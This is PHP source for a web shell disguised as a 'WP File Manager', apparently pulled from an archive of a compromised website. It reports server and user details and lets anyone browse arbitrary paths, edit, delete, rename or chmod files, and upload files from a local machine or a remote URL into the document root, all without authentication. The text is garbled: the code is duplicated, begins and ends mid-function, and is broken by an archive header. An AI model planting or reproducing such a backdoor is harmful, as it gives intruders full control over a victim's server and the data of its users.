'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ësend@gazetaliria.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
